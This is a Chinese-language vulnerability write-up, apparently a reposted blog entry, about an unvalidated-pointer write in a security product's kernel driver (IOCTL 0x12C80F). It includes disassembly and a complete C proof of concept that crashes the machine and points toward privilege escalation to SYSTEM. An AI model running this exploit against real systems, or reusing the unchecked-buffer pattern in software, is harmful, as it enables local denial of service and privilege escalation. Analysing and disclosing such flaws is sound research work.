来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 继昨晚发现某网站安全监测系统中存在一处鸡肋0Day后,刚又通过纯手工方式发现其存在的一处EOP 0Day。这是我研究漏洞以来第一次在不借助Fuzz的情况下找到0Day()。当然,并不是我的洞...
继昨晚发现某网站安全监测系统中存在一处鸡肋0Day后,刚又通过纯手工方式发现其存在的一处EOP 0Day。这是我研究漏洞以来第一次在不借助Fuzz的情况下找到0Day()。当然,并不是我的洞察力有多强(毕竟我只是一名涉世不深的初学者),而是它的代码实在挫到令人发指——没有金刚钻,何必揽这瓷器活。能在Ring 3层干的事情,为什么非要放在Ring 0来做?更何况做又做不好。简断捷说吧,这个EOP漏洞的成因如下: 这个网站安全监测系统的驱动模块在处理IOCTL_CODE为0x12C80F的IRP时没有对Ring 3层传入的UserBuffer做严格的验证,攻击者如果有机会在机器上运行一个Crafted应用程序,就可能提升权限——以SYSTEM权限执行任意代码。 .text:F8663B33 mov esi, [ebp+Irp] ;ESI points to the IRP .text:F8663B36 mov eax, [esi+60h] ;EAX points to the IO_STACK_LOCATION .text:F8663B39 mov ecx, [eax+0Ch] ;ECX equals the DeviceIoControlCode .text:F8663B3C mov edi, [esi+3Ch] ;EDI equals the UserBuffer in the IRP .text:F8663B46 sub ecx, 12C80Fh .text:F8663B4C jz short loc_F8663BC8 ;如果IOCTL_CODE为0x12C80F,则跳转至 loc_F8663BC8 .text:F8663BC8 loc_F8663BC8: .text:F8663BC8 push edi ;EDI equals the UserBuffer in the IRP .text:F8663BC9 call sub_F8663A52 ;以从IRP中读取的UserBuffer为参数调用函数sub_F8663A52 函数sub_F8663A52的代码结构非常简单——先是调用了另一个函数sub_F86631FE,然后对返回值做了一番处理,就将其写入到UserBuffer所指向的内存中 .text:F8663A52 mov edi, edi .text:F8663A54 push ebp .text:F8663A55 mov ebp, esp .text:F8663A57 xor eax, eax .text:F8663A59 inc eax .text:F8663A5A cmp word_F86678BE, ax .text:F8663A61 ja short loc_F8663A72 .text:F8663A63 call sub_F86631FE ;调用函数sub_F86631FE ;以下代码为对返回值进行简单的处理 .text:F8663A68 movzx eax, al .text:F8663A6B neg eax
.text:F8663A6D sbb eax, eax .text:F8663A6F and eax, 2 .text:F8663A72 .text:F8663A72 loc_F8663A72: .text:F8663A72 mov ecx, [ebp+arg_0] .text:F8663A75 mov [ecx], eax ;在没有验证UserBuffer的有效性的情况下就直接进行写内存操作! .text:F8663A77 pop ebp .text:F8663A78 retn 4 以下给出一份可导致本地拒绝服务的POC #include <windows.h> #include <stdio.h> #define DEVICE_NAME "\\\\.\\WebFireWall" #define DEVICE_IOCONTROL_CODE 0x12C80F int main() { HANDLE hDev=INVALID_HANDLE_VALUE; int nLen=0; BOOL bRet=FALSE; DWORD dwBytCnt=0; hDev=CreateFile(DEVICE_NAME, GENERIC_ALL, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE==hDev){ printf("[*]CreateFile Error Code:%d\r\n",GetLastError()); goto _EXIT; } bRet=DeviceIoControl(hDev,DEVICE_IOCONTROL_CODE, (LPVOID)0x0c0c0c0c,0x4, (LPVOID)0xc0c0c0c,0x4, &dwBytCnt,NULL); if (false==bRet){ printf("[*]DeviceIoControl Error Code:%d\r\n",GetLastError()); } else{ printf("[*]Success!\r\n");
} _EXIT: if (INVALID_HANDLE_VALUE!=hDev){ CloseHandle(hDev); } getchar(); return 0; }
可以看到,向0x0C0C0C0C写入一个4字节0时触发内存访问异常。至于通过这个任意地址写入来EOP,就没必要细说了,懂的人自然会懂 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com